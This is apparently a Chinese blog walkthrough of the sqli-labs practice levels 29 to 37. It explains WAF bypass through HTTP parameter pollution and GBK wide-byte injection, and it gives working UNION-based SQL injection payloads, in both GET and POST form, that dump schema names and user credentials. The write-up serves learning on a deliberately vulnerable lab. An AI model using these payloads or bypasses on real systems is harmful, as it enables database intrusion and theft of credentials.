Less-29----Less-37

首先介绍一下29,30,31这三关的基本情况:(以下内容来自网络)'

服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。

重点:index.php?id=1&id=2,猜猜到底是显示id=1的数据还是显示id=2的?

Explain:apache(php)解析最后一个参数,即显示id=2的内容。Tomcat(jsp)解析第一个参数,即显示id=1的内容

此处我们想一个问题:index.jsp?id=1&id=2请求,针对第一张图中的服务器配置情况,客户端请求首先过tomcat,tomcat解析第一个参数,接下来tomcat去请求apache(php)服务器,apache解析最后一个参数。那最终返回客户端的应该是哪个参数?

Answer:此处应该是id=2的内容,因为时间上提供服务的是apache(php)服务器,返回的数据也应该是apache处理的数据。而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在tomcat服务器处做数据过滤和处理,功能类似为一个WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过WAF的检测。该用法就是HPP(HTTP Parameter Pollution),http参数污染攻击的一个应用。HPP可对服务器和客户端都能够造成一定的威胁。

WAF:是web应用防护系统的简称(也称:网站应用级入侵防御系统)

常规注入测试:非  数字型  参数 均被 WAF 拦截

HTTP参数污染原理:通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的。针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样:

Less-29

直接在主页上连接less-29的话,是进入的index.php,那个页面没起到拦截作用 ,所以应进Less-29/Login.php

(别问我怎么知道,菜鸟只配看别人现成的)

输入id值,返回页面正常

页面提示Hint: The Query String you input is: id=2

再用 ' 和 " 测试,看看返回页面是否报错,返回页面提示,已被WAF拦截成功

那么现在把id 的参数改成 符号型的:abc,返回拦截成功

再试试把id 的参数改成 数值型(很大):123123123123123,返回页面错误,但不是那个拦截成功的界面了

Hint: The Query String you input is: id=123123123123

现在初步知晓了,Waf拦截的关键字 是字符

然后查看源码,源码就展示了,有点多

其中有两个函数,了解一下:

foreach

作用: 遍历数组

实例:arr = array("1"=>"111","2"=>"222","3"=>"333");

           foreach(arr as key=>value)

           {

            echo key."=>".values."\n";

            }

运行:  1=>111

           2=>222

           3=>333

说明:把当前元素的值赋给 value ,并且把当前元素的键值 也会在每次循环中被赋给变量key,键值:可以是下标值,也可以是字符串。比如book[0]=1中的"0",book[id]="001"中的"id"

explode()

作用:把字符串 打散为数组

实例:      <?php

                 str="Hello world. I love Shanghai!";

                  print_r(explode(" ",str));

                  ?>

运行结果:Array([0]=>Hello [1]=>world [2]=>I [3]=>love [4]=>Shanghai!)               说明:把str字符串用空格打散为数组,和C语言中的 strtok 函数差不多一个意思

explode(separator,string,limit)

separator 必需,规定在哪里分割字符串    string 必需,要分割的字符串 

limit 可选,规定所返回的数组元素的数目.可能的值:大于 0 - 返回包含最多 limit 个元素的数组小于 ;0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组;0 - 返回包含一个元素的数组

在了解了上述的函数后,分析部分源码:

qs变量从_SEVER得到整个id参数的时候,拿去java_implimentation进行处理,但是java_implimentation中只要满足数组前面两位是id,则跳出循环,并把其后的值赋给id1。id1后面的参数如果是全数字的话,则放行,让 _GET 到的id 参数 进入数据库

这里有一个小常识需要介绍:php GET 获取 参数的时候,有一个特性,当某个参数被多次 赋值 时,会保留 最后一次 赋值时的值。例如:http://site/?id=1&id=2&id=3(&在url中是不同参数的间隔符)这时程序会返回id=3的值

由此可见,当参数相同时,数据库会执行最后一个参数的值

而源码的java_implimentation函数,就是将 & 作为数组分隔符,当有某一数组的前两位是id的话,就返回id后的值,并且跳出循环,如果这样写注入语句:id=1&id=1'    java_implimentation把其打散为 id=1 id=1',第一个id满足了跳出循环的条件,并且把1赋值给id1拿去给white函数做检查,满足全是数字,放行 _GET 的 id 参数,但是 GET碰见单一参数 重复赋值的情况时,会只保留最后一次被赋值的值,也就是 _GET 到了 1'。(说的可能不太好理解,多看几遍哈哈)

注入语句:id=1&id=1'(先看看闭合条件)

页面报错了,但是并不是显示有非法字符(成功绕过WAF)

所以构造注入语句:id=1&id=1' and 1=2 union select 1,2,3--+返回页面报出了

Less-30

Less-31

诶呀因为一些原因先看下面的吧

Less-32

输入?id=1,页面回显正常

然后我们加上',如下图,我们可以看到提示说输入的1被转义为了1\'

这就导致了参数id是无法逃逸单引号的包围的,所以一般情况下这里是没有SQL注入漏洞的,但是如果数据库的编码是gbk的时候,这里就可以使用:

宽字节注入

宽字节注入的原理是:在地址后先加%df,再加单引号,因为反斜杠的编码是%5c,而gbk编码中,%df%5c是繁体字的“連”,到sql端,gbk以两个字节来读取,单引号成功逃逸,再使用注释符来注释后面多余的单引号(更详细请前往:https://www.cnblogs.com/ECJTUACM-873284962/p/8747543.html)

所以这里我们来试下宽字节注入,?id=1%df%27  页面报错

?id=1%df%27,正常

注入成功了

事实上这里还能过用?id=1%df%5c%27的语句(尝试发现%df可替换为其他的aa,bb等)这时候被转义为%df    %5c%5c    %5c%27相当于%df%5c    %5c%5c     %27( %df%5c 是一个宽字符,也就是縗) 即:縗//'    '又落单,所以从此处注入

接下来构造语句注入
?id=-1%df%27 union select 1,2,database()%23

?id=-1%df%27 union select 1,2,group_concat(schema_name) from information_schema.schemata%23

?id=-1%df%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23

'security'用hacbar编码一下为0x7365637572697479即可

?id=-1%df%27 union select 1,2,group_concat(column_name)  from information_schema.columns where table_name=0x7573657273

Less-33

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符:单引号(')        双引号(")         反斜杠(\)     Null

其实与上一关的区别就是,这一关是使用Addslashes()函数过滤,而上一关用的是自定义过滤

所以,我们也可以用宽字节注入办法解决:

?id=0%df' union  select1,2,group_concat(concat_ws(0x7e,

username,password)) from security.users  --+

Less-34

由页面看出,这是一个 post 注入

因为用的火狐插件有hackbar,所以之前的每次注入,我都是从 url 框中 复制到 hackbar 中进行,另外还有个按钮:Load URL 这个点击可直接获取访问的URL

这一关的话把Post Data打开,然后提交一个用户名和密码(正确和错误都无所谓)点 Load URL ,就自动获取了Post传的格式(和Referrer 注入相同)


得到uname=&passwd=&sumbit=Sumbit

当用户名和密码都是正确(试出来是admin和admin)就是成功登陆时,会回显用户名和密码的信息

然后在用户名和密码后面加上'会发现

这下就构造出来语句了:
uname=%df%27 order by 3%23&passwd=1&submit=Submi

查询出来有两列,下面一次爆数据

uname=%df%27 or 1=1 %23&passwd=1&sumbit=Sumbit

uname=%df%27 union select database(),2%23&passwd=1&submit=Submit

uname=%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23&passwd=1&submit=Submit

uname=%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273%23&passwd=1&submit=Submit

Less-35

这道题就偷懒看一下源码吧,其的确和前面一样开启了转义,但是却是道数字型注入的题 ,对id包裹,addslshes也 就无意义了,所以直接联合注入就OK

这道题学习到sql注入 我们首先应该区分它是字符型注入还是数字型注入

Less-36

执行到?id=1'  单引号 

所以还是宽字节注入,输入?id=1%df'报错

?id=1%df' --+正常

之后用联合查询逐步查出即可

查看源码,发现与前面的区别就是使用的转义函数不一样:

mysql_real_escape_string函数(可参考:https://www.w3school.

com.cn/php/func_mysql_real_escape_string.asp)

Less-37

打开页面发现和24关非常相似,一番尝试后得出结论:

还是POST的宽字节注入,只是过滤的函数不同

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

友情链接更多精彩内容